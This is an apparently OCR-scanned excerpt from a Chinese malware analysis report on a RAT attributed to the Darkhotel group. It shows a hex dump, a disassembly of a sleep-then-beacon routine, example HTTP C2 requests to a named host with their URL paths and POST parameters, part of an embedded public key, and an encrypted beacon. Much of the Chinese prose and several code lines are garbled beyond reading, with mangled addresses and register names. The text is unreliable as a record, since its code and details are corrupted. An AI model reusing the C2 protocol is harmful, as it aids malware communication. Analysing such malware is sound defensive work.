B012F468 |28 24 6E 75| 6C 6C 2C 28|38 2C 20 24|6E 75 6C 6C| $null, 8, $null
g0812F478|29 7D 00 /06| 60 60 OO 66|60 00 OO 60|60 00 08 88|}y L. .. .......

aoaanri.anl e A o anl an A A ol an An Aan anl an A an an

HARESNE , EMER 2 HEE N BARENIRSF KIS C2riBET8E , Bid ik EREtHAREM
B AR E SR S C2 ERAIBAE.

L ) =)
Ba483485
88483485 loc_483A85: 3 Timer
88483485 cmp eax, 113h
Ba4a3A0A jz short loc_4@83A2C
ea4a8342C
@8463A2C loc_483A2C:
B8483A2C mov eax, [ebptwParam]
B8483A2F cmp eax, 1
BB4B3A32 jnz short loc_483A72
L L J
_ | e
B8483A34 mov eax, dword_ 420114
B84834A39 xor BCH, BCX
88483436 cmp eax, 2718h
88483448 cmovg eax, ecx
88483443 add eax, 7D8h
88483448 push EAN ; dwMilliseconds
8483449 mov dword_42C114, eax
B8483A4E call ds:5leep
eB4@3A54 call c2comm_sub_483D38

6.2 C&CiB{5 5154

IR, ARATH C&CAIE G SIEK , {FHHTTPHRNE C2AIXIEK , AIAAGET, URLA)/maro[%{
= )/article//[MAC3H31t )/article_service.html,
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GET /maro//article//8008C29014444/article service.html HTTP/1.1
Connection: Keep-Alive

User-Agent: user

Host: bigfile-download.net

#I%2 , RAT[E C&CAFERFISE. FIEAPOST , URLA/maro[$F ive[$LF1.php , RAA
title=111&dirname=[MA CHii31F f]base6447hE]

POST /maro7/livel.php HTTP/1.1

title=111&dirname=MDMAwQz ISMDEBNDOE .
HIR3 | Z JEHRWGHRITC2 T A ® 4 |, BT ¢
[ HH S &&[ S 2]1% %[ S 3@

TEOFZET -

[=

%

Nis

, SPITIRAUE | ERSREAERREC2REEFER.

TEMPEINAER S | ERUTEEIRNBIESEL SN  HALMERCOREINE, BTS2, 43
B, 72 titde’ 5 dimame’ B EREA | | FOMAN T ‘value' FEY ; WF B MG —AMANE,

db "wvuteyfjeksSVFbsCSkTSAXZ1IAVZVIKZPEXktKr8wIemalshKSILvAhUuoPQugxBEK "
db "xnUw9PvnvgRASZHPnANd+T/ z0wwE TENTWh+ZERDE+53 287 yErGn+uEvHEE4AD09rTw '
db "J15B1lbvw74PcyiPAZFLyndmDS1R2ZHMWZ cubvgBi+agqQIDAQAE - ---- END PUBLIC KE'
db "Y----- -

date=487B7D7E4543084697B684B5547653623835F4728622E08&d1 rname=MDANQzISMDEGNDQR&value=60112E17BBF48D4149ECDOYET 7747879 EAGEBDSD5D3954FAF72DCCCE
@5E39980E5D03918EFE3C4BA39757635FC7EAARS7351ESD7AFAACFFALB7EBOS2B5530(C21E676D9FDFIRDCRERES7/B99B98D5868D77B89043387DC52662A2667E0A26320744D78
27BA7(D36981612608DCCEA1D6ACA15174AF99DEGE3CA20DDFABFAACB3IC983HTTR/1.1 208 OK

t Ay laé:l:b'

Darkhotel T A SRAT T AL W R E TRMBRIEE] , FIEACEIEE Bpcek, FETAXR
ERGURAS R P A B ERAEKR , AENENEEM. FLETARKMEERE. MR, TALRRER
5, WP E—FEHSHIFRASR T LB SRR , &R Darkhote 7 2 B 5 FR M FHALURT)
SEEAE—EAERKBIEN , e N RIRH T HEK.
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